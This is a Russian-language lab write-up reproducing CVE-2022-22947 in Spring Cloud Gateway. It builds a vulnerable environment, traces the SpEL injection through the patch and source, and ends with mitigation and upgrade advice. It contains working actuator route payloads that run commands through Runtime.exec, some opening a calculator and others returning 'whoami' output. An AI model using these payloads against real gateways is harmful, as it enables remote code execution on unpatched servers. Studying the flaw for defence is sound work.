
Spring-Cloud-Spel-RCE
Клонировать уже написанный код среды из GitHub.
//⚠️Важно: путь загрузки кода среды не должен содержать китайские символы или пробелы
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Откройте скачанный пакет кода с помощью IDEA: Open ---> путь к скачанному файлу ---> Open.
Создать проект вручную и настроить среду.
(1) Создайте новый проект, настройте и нажимайте "Далее" до конца;

(2) Проанализируйте структуру каталогов проекта:
.idea содержит файлы конфигурации по умолчанию IntelliJ IDEA, не имеет другого назначения. Можно удалить или оставить по желанию;src – основная область кода проекта, включает папки java и resource. java – область для написания Java-кода, resource – область конфигурации всего проекта. По умолчанию в Spring-проекте в java добавляется метод SpringApplication, который является методом запуска Spring по умолчанию. В resource по умолчанию добавляется файл application.properties – файл конфигурации Spring-проекта;test – для тестирования, в ней можно тестировать методы;pom.xml – файл конфигурации Maven, включает зависимости, конфигурации и т.д., необходимые для проекта;.iml – файл конфигурации зависимостей Maven, также добавляется по умолчанию;External Libraries – все зависимые пакеты этого проекта.
(3) Добавьте зависимости Maven в файл pom.xml (Maven Repository содержит подробную информацию о всех зависимостях).

spring-boot-starter в качестве запускателя сервера. Кроме того, так как данная уязвимость относится к шлюзу SpringCloud Gateway, уязвимые версии – ниже 3.1.1, поэтому мы используем версию 3.1.0 для воспроизведения уязвимости. Также нам нужно мониторить и обращаться к шлюзу через интерфейс actuator, поэтому также нужна эта зависимость. Подробности:
(4) Измените файл конфигурации Spring (путь: src --> main --> resources --> application.properties), подробности:
server.port – порт запуска Spring-сервера, по умолчанию 8080. Можно настроить по своему усмотрению;management.endpoint.gateway.enabled=true – включает мониторинг шлюза SpringCloud-Gateway через endpoint actuator. По умолчанию false, так как для данной уязвимости необходимо мониторить состояние шлюза, поэтому мы вручную меняем его на true, включая мониторинг;management.endpoints.web.exposure.include=gateway – выбирает шлюз Gateway в качестве шлюза сервера. Поскольку уязвимость относится именно к шлюзу Gateway, мы объявляем в конфигурационном файле выбор шлюза Gateway.
(5) Измените автоматически сгенерированный Java-класс после создания нового проекта (имя класса обычно ИмяПроекта+Application, путь: src --> main --> java --> com.xxx.xxx --> xxxApplication), подробности на рисунке:

(6) Запустите проект, подробности на рисунке:

(7) Перейдите по адресу http://localhost:9000. Если страница отображается так же, как на скриншоте, значит среда настроена успешно.

(1) Сначала посмотрим на официальный патч исправления, diff: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e. Официально в функции org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue заменили StandardEvaluationContext на GatewayEvaluationContext для выполнения SPEL-выражений.

Из рисунка видно, что патч в основном изменяет метод разбора SPEL-выражений. Из строки 66 видно условие if, которое проверяет, что SPEL-выражение должно начинаться с #{ и заканчиваться }. Функция getValue отвечает за разбор SPEL-выражений, и можно сделать вывод, что эта уязвимость — RCE через SPEL-выражения.
(2) Нажмите Ctrl + левая кнопка мыши на поле getValue, чтобы отследить вверх до перечисления org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

Из метода default в предыдущем тексте видно, что вызывается метод DEFAULT перечисления. Подробности метода:
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}

(3) Отследите вверх до org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Этот метод normalizeProperties() разбирает свойства фильтров: передает конфигурационные свойства фильтра в normalize, и в итоге попадает в getValue, выполняя SPEL-выражение, что приводит к инъекции SPEL.
(1) Согласно документации [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html), пользователи могут создавать и удалять маршруты в шлюзе через actuator. Ниже показана базовая структура шлюза.

(2) В IDEA с помощью функции mapping actuator можно найти интерфейсы для создания и удаления маршрутов.

(3) Перейдите к классу RouteDefinition, который объявляет структуру маршрута.

(4) Перейдите к классу FilterDefinition и обнаружьте, что у фильтра есть два параметра: name и args.
(5) Отследите параметр name. В методе AbstractGatewayControllerEndpoint#save() происходит фильтрация name. Метод save — интерфейс для создания маршрута. Он принимает два параметра: id маршрута (можно задать произвольно) и RouteDefinition, который, как указано выше, объявляет структуру создаваемого маршрута. Это и запускает уязвимость.

(6) С помощью точек останова выполните динамическую отладку метода isAvailable(), чтобы узнать, какие name проходят фильтрацию.


Можно использовать name, указанные на рисунке, для обхода проверки name.
(7) На основе приведенного выше анализа мы можем выполнить RCE-атаку, используя указанный параметр name и SPEL-выражение, начинающееся с #{ и заканчивающееся }. Payload следующий:
/**
* Пояснение к SPEL-выражению в Payload:
* Поскольку нам нужно выполнить команду через выражение, используем T(java.lang.Runtime).getRuntime().exec() для вызова метода выполнения команды.
* Так как при выполнении команды требуется строка типа String, необходимо привести выражение к объекту String.
* Поскольку при передаче выражения требуется передавать его в виде байтового потока, нужно вызвать метод T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "можно изменить произвольно (не должно совпадать с ранее созданными id)",
"filters": [{
"name": "любое name из скриншота выше",
"args": {
"name": "можно изменить произвольно",
// это значение — команда для открытия калькулятора (MacOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(8) Цепочка без вывода данных для predicates ([документация](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)): процесс выполнения SPEL для predicates аналогичен процессу для filters. Ниже показано, какие name predicates проходят проверку. Через эти name можно выполнить команду. Проверка name для predicates получена с помощью динамической отладки. Можно сконструировать Payload в соответствии с примерами из документации.

/**
* Пояснение к SPEL-выражению в Payload:
* Поскольку нам нужно выполнить команду через выражение, используем T(java.lang.Runtime).getRuntime().exec() для вызова метода выполнения команды.
* Так как при выполнении команды требуется строка типа String, необходимо привести выражение к объекту String.
* Поскольку при передаче выражения требуется передавать его в виде байтового потока, нужно вызвать метод T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "можно изменить произвольно (не должно совпадать с ранее созданными id)",
"predicates": [{
"name": "любое name из скриншота выше",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
Цепочки filters и predicates без вывода данных действительно существуют, и если имена filters и predicates проходят проверку легальности, можно вызвать RCE.
(1) Принцип вывода: информация о маршрутах, заданных пользователем, хранится в памяти. После обновления маршрута и выполнения SPEL-выражения результат выполнения записывается в информацию о маршруте. При просмотре информации о маршруте через API-интерфейс можно увидеть результат выполнения RCE.
(2) Из документации следует, что для filters цепочка с выводом данных возможна при name="AddResponseHeader".
/**
* Пояснение к SPEL-выражению в Payload:
* Поскольку нам нужно выполнить команду через выражение, используем T(java.lang.Runtime).getRuntime().exec() для вызова метода выполнения команды.
* Так как при выполнении команды требуется строка типа String, необходимо привести выражение к объекту String.
* Поскольку при передаче выражения требуется передавать его в виде байтового потока, нужно вызвать метод T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "можно изменить произвольно (не должно совпадать с ранее созданными id)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(3) Далее нужно подумать, кроме name="AddResponseHeader", можно ли использовать все name для RCE-атаки с выводом данных, как в цепочке без вывода.
(4) Используем name="RedirectTo", попробуем воспроизвести, чтобы проверить возможность атаки с выводом.


Обнаружено, что вывода нет. Посмотрим логи на сервере: сервер возвращает исключение NullPointerException.

Проверим документацию: введенные параметры args не соответствуют фильтру. Этот фильтр требует два параметра: "status" и "url". Изменим параметры и выполним еще раз.


Снова возвращается 404, но в логах уже не NullPointerException. Из сообщения об ошибке видно, что spring-cloud-gateway разбирает формат url. То есть параметры имеют ограничения по типу, например, status должен быть HTTP-статусом (перечисляемый тип).

Нужно найти другой путь: найти фильтр, параметры которого являются строкой String.
(5) В документации найдем фильтр с параметром String ([ссылка на документацию](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory)), например, фильтр RemoveRequestHeader принимает только строку name. Таким образом, мы можем сконструировать SPEL-выражение как значение name.

Теперь можно составить Payload и попробовать. Вывод успешен.


Видно, что в цепочке с выводом для filters проверяется не только name, но и параметры args имеют определенные ограничения. Однако можно обойти ограничения, конструируя различные фильтры.
(6) В цепочке с выводом для predicates путь анализа аналогичен filters. Через документацию нужно отфильтровать фильтры по типам и содержанию параметров, чтобы найти подходящие для выполнения SPEL-выражения фильтры. Тогда можно выполнить RCE с выводом.
(7) В predicates можно использовать name="Cookie" для выполнения команды. Сконструируем согласно параметрам документации.

Составим Payload и попробуем. Вывод успешен.


Цепочка с выводом для predicates действительно существует. Ограничения накладываются не только на имена параметров args, но и на соответствующие типы. Также есть ограничения на полноту параметров.
В цепочке с выводом данных Spring фильтрует не только имена фильтров, но также накладывает ограничения на типы и количество параметров args. Можно определить наличие используемой цепочки, изучив детали фильтров в документации.
(1) Сначала необходимо создать маршрут, отправить POST-запрос и сконструировать вредоносный Payload.

(2) Обновить маршрут.

(3) Получить информацию о маршруте, отправить GET-запрос к только что созданному маршруту test. Откроется калькулятор.

(4) Удалить маршрут.

(1) Сначала необходимо создать маршрут, отправить POST-запрос и сконструировать вредоносный Payload.

(2) Обновить маршрут.

(3) Получить информацию о маршруте, отправить GET-запрос к только что созданному маршруту hacktest. Вывод "whoami" успешен.

(4) Удалить маршрут.

(1) Если endpoint Actuator не нужен, можно отключить его следующей конфигурацией:
management.endpoint.gateway.enabled=false
(2) Если endpoint Actuator необходим, его следует защитить с помощью Spring Security.
Официально выпущены безопасные версии:
Пользователи версий 3.1.X должны обновиться до 3.1.1+
Пользователи версий 3.0.X должны обновиться до 3.0.7+